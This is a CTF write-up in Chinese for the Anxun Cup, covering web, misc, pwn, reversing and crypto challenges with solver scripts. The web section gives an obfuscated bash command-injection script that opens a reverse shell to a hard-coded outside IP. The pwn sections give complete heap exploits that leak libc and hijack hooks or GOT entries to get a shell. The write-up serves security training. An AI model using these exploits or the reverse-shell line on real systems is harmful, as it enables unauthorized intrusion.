安洵杯wp By天璇Merak(安全客转载)

安洵杯 By 天璇Merak


[toc]

web

web1

有一道很像题目直接拿脚本了
https://ddaa.tw/34c3ctf_2017_misc_162_minbashmaxfun.html

import requests
import sys

url = "http://47.108.162.43:30025/"
def send_cmd(cmd):
    #r = remote("35.198.107.77", 1337)

    payload = build_payload(cmd)
    data = {
        "cmd":payload
    }

    req= requests.post(url,data=data)
    print(req.text)
   # print("payload is: {}".format(payload.decode()))

    #while nextpid(r) != 53:
    #    pass

    #print("sending exploit")
    #r.sendline(payload)
    #r.interactive()

def nextpid(r):
    r.sendline(b"$$")
    r.readuntil(b"bash: ")
    pid = int(r.readuntil(b":")[:-1], 10)
    print("current pid: {}".format(pid))
    r.readline()
    return pid + 1

base_payload = rb"${0}<<<${0}\<\<\<${0}\\\<\\\<\\\<${0}\\\\\\\<\\\\\\\<\\\\\\\<\\\\\\\$\\\\\\\'"
base_payload_end = rb"\\\\\\\'"

def build_payload(string):
    bstr = string.encode()
    payload = base_payload
    for char in bstr:
        payload += encode_character(char)
    payload += base_payload_end
    return payload

def encode_character(byte):
    octals = "{:o}".format(byte)
    payload = rb"\\\\\\\\"
    for octal in octals:
        num = int(octal, 8)
        if num == 0:
            payload += rb"$#"
        elif num == 1:
            payload += rb"${##}"
        else:
            payload += rb"\\\$\\\(\\\(" 
            payload += rb"\$\'\\$$\'".join([rb"${##}" for i in range(num)])
            payload += rb"\\\)\\\)"
    return payload

#while True:
cmd = "bash -i >& /dev/tcp/81.70.154.76/2333 0>&1" 
send_cmd(cmd)

misc

签到

公众号回复flag

王牌特工

取证大师发现提示 Veracrypt挂载以及密码
flagbox直接挂载拿flag就行了

Misc3

CRC爆破拿到密码
伪加密拿到redeme.txt
然后直接明文发现问题
先删除flag.txt
之后再恢复密码


之后再重新开包

Misc4

txt打开感觉有隐写
想到零宽度
RealV1siBle
图片拿到,测了一堆隐写无用
开始看题目描述发现eye
直接Silenteye
拿到flag

pwn

Einstein

登录错误释放空间,得到main_arena+88地址,密码错误泄露libc,再用one打exit即可


from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './sfs'
ip = 'axb.d0g3.cn'
port = 20103
remote_libc_path = './libc-2.23.so'

context(os='linux', arch='amd64')
context.log_level = 'debug'

local = 0
if local == 1:
    p = process(elf_path)
else:
    p = remote(ip, port)

def debug(cmd):
    gdb.attach(p,cmd)
    pause()

def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

payload = '{"name":{"123":"456"},"passwd":{"123":"456"}}'
sla('Please input your name and passwd.', payload)

main_88 = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = main_88 - 88 - 0x10 - 0x3C4B10 + 8
hook = libc + 0x8f9f48
success('0x%x'%libc)
one = one_gadget()
one = libc + one[3]
print hex(one)
one = p64(one)

p.send(p64(hook))
p.send(one[0])
p.send(p64(hook + 1))
p.send(one[1])
p.send(p64(hook + 2))
p.send(one[2])

p.interactive()
p.close()

IO_FILE

打free为puts泄露libc,打free为one拿shell

#coding:utf-8

from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './IO_FILE'
ip = 'axb.d0g3.cn'
port = 20102
remote_libc_path = './libc.so.6'

context(os='linux', arch='amd64')
context.log_level = 'debug'

local = 0
if local == 1:
    p = process(elf_path)
else:
    p = remote(ip, port)

def debug(cmd):
    gdb.attach(p,cmd)
    pause()

def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def chose(idx):
    sla('>', str(idx))
def add(size = 0x68, content = '\n'):
    chose(1)
    sla('size:', str(size))
    sa('description:', content)
def free(idx):
    chose(2)
    sla('index:', str(idx))

add()
add(0xff)
add(0x78)
add(0x10)
for i in range(7):
    free(1)
free(0)
free(0)
free(0)
free(2)
free(2)
free(2)
puts = 0x400640
free_got = 0x602018
set_got = 0x602040
main = 0x400a78
add(0x68, p64(free_got))
add(0x68, '/bin/sh\x00')
free(1)
free(3)
add(0x68, p64(puts))
free(1)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96 - 0x10 - 0x3B4C30
'''
free(3)
add(0x68, p64(free_got))
add(0x68, '/bin/sh\x00')
add(0x68, p64(main))
free(3)
'''
success('0x%x'%libc)
one = one_gadget()
one = libc + one[2]
sys = libc + 0x3B68E8
free_hook = libc + 0x3B68E8
add(0x78, p64(free_got))
add(0x78, '/bin/sh\x00')
add(0x78, p64(one))
free(8)

p.interactive()
p.close()

web-server

WEB题,目录穿越。

Re

Re1

  • 拖到 die 里发现无壳,但是发现一个自己构造的段 .cyzcc
  • 在 IDA 里看一眼,发现输入被保存到了这个地方
  • 看一眼 data 段里有什么,大概比较重要的是如下几个东西


  • 看一下字符串,发现输出的东西都是下面这个函数打印的
  • 然而 strcmp 比较的两个都不是输入,考虑是加密了之后存到了另外一个地方
  • str1 本来就有东西,交叉引用看一下它啥时候被修改的,发现应该是在原有的东西上又亦或加密了一层
  • str2是空的,而且在这被用做过函数的参数,同样作为参数的还有输入的字符串
  • 调用的函数是个自解密的函数,于是乎掏出我的大 od ,下个断点
  • 加密过程如图所示
  • 算是魔改的b64加密吧,但是码表不早为啥一直是空的,卡了好久,后来想到 ida 里能看到计算码表的过程
  • 加密完之后跟gJZSOdhLOfSHjTZ0beYRQflLQfkllkhD比较
  • 但还是挺奇怪的,加密的字符串里面有俩字符码表里没有。。。不知道是出题人的恶意还是我有地方没看到。。。算了,猜一下吧
  • 解题脚本如下

    array = [0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11,
         0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B,
         0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x07, 0x08, 0x09, 0x0A,
         0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14,
         0x15, 0x16, 0x17, 0x18, 0x19, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE,
         0xFF, 0x00, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD,
         0xBE, 0xBF, 0xB1, 0xB5]
    cipher = [35, 122,  61,  96,  52,   7,  17,  54,  44,   5,
          12,  32,  11,  34,  63, 111,  22,   0,  55,  13,
          54,  15,  30,  32,  55,  20,   2,   9,   2,  15,
          27,  57]
    dog = [68,  48, 103,  51, 123,  99, 121, 122,  99,  99,
       95, 104,  97, 118, 101,  95, 116, 101, 110,  95,
       103, 105, 114, 108, 102, 114, 105, 101, 110, 100,
       115, 125]
    for i in range(len(array)):
    if i >= 26:
        if i >= 45:
            array[i] += 122
        else:
            array[i] += 90
    else:
        array[i] += 57
    for i in range(32):
    cipher[i] = cipher[i] ^ dog[i]
    print(''.join([chr(n)for n in cipher]))
    all_guess=[]
    for guess2 in range(64):
    for guess1 in range(64):
        this_guess=''
        for n in range(32//4):
            arr = array[n+1:]
            def get_index(c0):
                try:
                    return arr.index(c0)
                except:
                    if c0==48:
                        return guess1
                    else:
                        return guess2
            try:
    
                l = cipher[n*4:n*4+4]
                c = [get_index(n)for n in l]
                p = [0]*3
                p[0] = ((0x30 & c[0]) << 2)+(0x3 & c[1]) + \
                    ((0xc & c[2]) << 2)+((0x30 & c[3]) >> 2)
                p[1] = ((0x30 & c[1]) << 2)+((0xc & c[0]) << 2)+(0xc & c[3])+(0x03 & c[2])
                p[2] = ((0x30 & c[2]) << 2)+((0xc & c[1]) << 2) + \
                    ((0x3 & c[3]) << 2)+(0x3 & c[0])
                this_guess+=''.join([chr(n)for n in p])
            except:
                pass
        all_guess.append(this_guess)
    for g in all_guess:
    g:str
    if g.count("}")==1 and g[-1]=="}"and g[-2]=="y":
        flag=True
        for c in g:
            if c.isalnum()or c in"_{}":
                continue
            else:
                flag=False
        if flag:
            print(g)
  • 从输出挑了几个顺眼的,下图的这个对了

Cry

Cry1

好,就楞爆

import hashlib
plaintext='1234567890abcdef'
l=len(plaintext)
for i in range(l):
    for j in range(l):
        for k in range(l):
            for n in range(l):
                for t in range(l):
                    for s in range(l):
                        str="d0g3{{71b2b5616{}{}2a4639{}{}7d979{}{}de964c}}".format(plaintext[i],plaintext[j],plaintext[k],plaintext[n],plaintext[t],plaintext[s])
                        if hashlib.sha256(str.encode('utf-8')).hexdigest()=="0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a":
                            print(str)

d0g3{71b2b5616ee2a4639a07d979ebde964c}

cry2

key和hint位数不一致,通过异或高位得到hint,从而得到key,然后反向恢复cbc即可

from Crypto.Util.number import *
from Crypto.Cipher import AES

hint = 56631233292325412205528754798133970783633216936302049893130220461139160682777
msg = b'Welcome to this competition, I hope you can have fun today!!!!!!'
r = long_to_bytes(hint)[:4] * 8
key = long_to_bytes(bytes_to_long(r) ^ hint)
print(key)

aes=AES.new(key,AES.MODE_ECB)

tmp = long_to_bytes(0x3c976c92aff4095a23e885b195077b66)
for i in range(4, 0, -1):
    tmp = aes.decrypt(tmp)
    tmp = long_to_bytes(bytes_to_long(tmp) ^ bytes_to_long(msg[16*(i-1):16*i]))
print(tmp)

cry3

chall1直接通过hint1得到明文平方,开方即可得到m,然后分解得到hint2,得到flag高位后CopperSmith即可

from Crypto.Util.number import *
from gmpy2 import *

# chall1
n = 
c = 
hint1 = 

m = int(isqrt(pow(c, hint1, n)))

# chall2
n = 
p = 
c = 
q = n//p//m
e = 0x10001
assert n == p * q * m
phi = (p-1)*(q-1)*(m//3-1) * 2
assert gcd(phi, e) == 1
print(long_to_bytes(pow(c, inverse(e, phi), n)))

# chall3
n = 
c = 

m_high = 
e = 5
R.<x> = PolynomialRing(Zmod(n))

f = (m_high * (10**54)+ x) ** 5 - c

solve = f.monic().small_roots(X=2 ^ 200, beta=1)
x = solve[0]
flag = (m_high * (10**54)+ x)
print(long_to_bytes(flag))
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇